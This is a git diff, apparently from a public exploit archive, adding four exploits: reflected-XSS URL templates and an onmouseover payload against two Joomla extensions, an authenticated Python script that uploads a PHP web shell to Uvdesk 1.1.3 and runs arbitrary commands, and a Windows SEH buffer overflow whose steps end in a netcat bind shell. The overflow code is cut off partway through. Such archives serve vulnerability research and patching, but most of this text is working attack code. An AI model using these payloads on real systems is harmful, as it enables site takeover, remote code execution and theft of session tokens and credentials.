diff --git a/exploits/php/webapps/51638.txt b/exploits/php/webapps/51638.txt new file mode 100644 index 000000000..685ed7035 --- /dev/null +++ b/exploits/php/webapps/51638.txt @@ -0,0 +1,56 @@ +# Exploit Title: Joomla Solidres 2.13.3 - Reflected XSS +# Exploit Author: CraCkEr +# Date: 28/07/2023 +# Vendor: Solidres Team +# Vendor Homepage: http://solidres.com/ +# Software Link: https://extensions.joomla.org/extension/vertical-markets/booking-a-reservations/solidres/ +# Demo: http://demo.solidres.com/joomla +# Version: 2.13.3 +# Tested on: Windows 10 Pro +# Impact: Manipulate the content of the site + + +## Greetings + +The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka +CryptoJob (Twitter) twitter.com/0x0CryptoJob + + +## Description + +The attacker can send to victim a link containing a malicious URL in an email or instant message +can perform a wide variety of actions, such as stealing the victim's session token or login credentials + + +GET parameter 'show' is vulnerable to XSS +GET parameter 'reviews' is vulnerable to XSS +GET parameter 'type_id' is vulnerable to XSS +GET parameter 'distance' is vulnerable to XSS +GET parameter 'facilities' is vulnerable to XSS +GET parameter 'categories' is vulnerable to XSS +GET parameter 'prices' is vulnerable to XSS +GET parameter 'location' is vulnerable to XSS +GET parameter 'Itemid' is vulnerable to XSS + + +https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=d2tff&task=hub.search&ordering=score&direction=desc&type_id=0&show=[XSS] + +https://website/joomla/greenery_hub/index.php?option=com_solidres&task=hub.updateFilter&location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=0-11&reviews=[XSS]&facilities=18& + +https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=d2tff&task=hub.search&ordering=score&direction=desc&type_id=[XSS] + +https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=[XSS]&facilities=14 + +https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=0-11&facilities=[XSS] + +https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-25&distance=0-25&categories=[XSS] + +https://website/joomla/greenery_hub/index.php?option=com_solidres&task=hub.updateFilter&location=d2tff&ordering=distance&direction=asc&prices=[XSS] + +https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=[XSS]&task=hub.search&ordering=score&direction=desc&type_id=11 + +https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=[XSS]&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=0-11&facilities=14 + + + +[-] Done \ No newline at end of file diff --git a/exploits/php/webapps/51639.py b/exploits/php/webapps/51639.py new file mode 100755 index 000000000..887441b12 --- /dev/null +++ b/exploits/php/webapps/51639.py @@ -0,0 +1,54 @@ +# Exploit Title: Uvdesk v1.1.3 - File Upload Remote Code Execution (RCE) (Authenticated) +# Date: 28/07/2023 +# Exploit Author: Daniel Barros (@cupc4k3d) - Hakai Offensive Security +# Vendor Homepage: https://www.uvdesk.com +# Software Link: https://github.com/uvdesk/community-skeleton +# Version: 1.1.3 +# Example: python3 CVE-2023-39147.py -u "http://$ip:8000/" -c "whoami" +# CVE : CVE-2023-39147 +# Tested on: Ubuntu 20.04.6 + + +import requests +import argparse + +def get_args(): + parser = argparse.ArgumentParser() + parser.add_argument('-u', '--url', required=True, action='store', help='Target url') + parser.add_argument('-c', '--command', required=True, action='store', help='Command to execute') + my_args = parser.parse_args() + return my_args + +def main(): + args = get_args() + base_url = args.url + + command = args.command + uploaded_file = "shell.php" + url_cmd = base_url + "//assets/knowledgebase/shell.php?cmd=" + command + +# Edit your credentials here + login_data = { + "_username": "admin@adm.com", + "_password": "passwd", + "_remember_me": "off" + } + + files = { + "name": (None, "pwn"), + "description": (None, "xxt"), + "visibility": (None, "public"), + "solutionImage": (uploaded_file, "", "image/jpg") + } + + s = requests.session() + # Login + s.post(base_url + "/en/member/login", data=login_data) + # Upload + upload_response = s.post(base_url + "/en/member/knowledgebase/folders/new", files=files) + # Execute command + cmd = s.get(url_cmd) + print(cmd.text) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/exploits/php/webapps/51640.txt b/exploits/php/webapps/51640.txt new file mode 100644 index 000000000..68308161c --- /dev/null +++ b/exploits/php/webapps/51640.txt @@ -0,0 +1,36 @@ +# Exploit Title: Joomla iProperty Real Estate 4.1.1 - Reflected XSS +# Exploit Author: CraCkEr +# Date: 29/07/2023 +# Vendor: The Thinkery LLC +# Vendor Homepage: http://thethinkery.net +# Software Link: https://extensions.joomla.org/extension/vertical-markets/real-estate/iproperty/ +# Demo: https://iproperty.thethinkery.net/ +# Version: 4.1.1 +# Tested on: Windows 10 Pro +# Impact: Manipulate the content of the site + + +## Greetings + +The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka +CryptoJob (Twitter) twitter.com/0x0CryptoJob + + +## Description + +The attacker can send to victim a link containing a malicious URL in an email or instant message +can perform a wide variety of actions, such as stealing the victim's session token or login credentials + + + +Path: /iproperty/property-views/all-properties-with-map + +GET parameter 'filter_keyword' is vulnerable to XSS + +https://website/iproperty/property-views/all-properties-with-map?filter_keyword=[XSS]&option=com_iproperty&view=allproperties&ipquicksearch=1 + + +XSS Payload: pihil"onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"f63m4 + + +[-] Done \ No newline at end of file diff --git a/exploits/windows/local/51641.py b/exploits/windows/local/51641.py new file mode 100755 index 000000000..1cc4905f1 --- /dev/null +++ b/exploits/windows/local/51641.py @@ -0,0 +1,76 @@ +# Exploit Title: General Device Manager 2.5.2.2 - Buffer Overflow (SEH) +# Date: 30.07.2023 +# Software Link: https://download.xm030.cn/d/MDAwMDA2NTQ= +# Software Link 2: +https://www.maxiguvenlik.com/uploads/importfiles/General_DeviceManager.zip +# Exploit Author: Ahmet Ümit BAYRAM +# Tested Version: 2.5.2.2 +# Tested on: Windows 10 64bit + +# 1.- Run python code : exploit.py +# 2.- Open pwned.txt and copy all content to clipboard +# 3.- Open Device Manage and press Add Device +# 4.- Paste the content of pwned.txt into the 'IP Address' +# 5.- Click 'OK' +# 6.- nc.exe local IP Port 1337 and you will have a bind shell +# 7.- R.I.P. Condor <3 + +import struct + +offset = b"A" * 1308 + +nseh = b"\xEB\x06\x90\x90" # jmp short + +seh = struct.pack('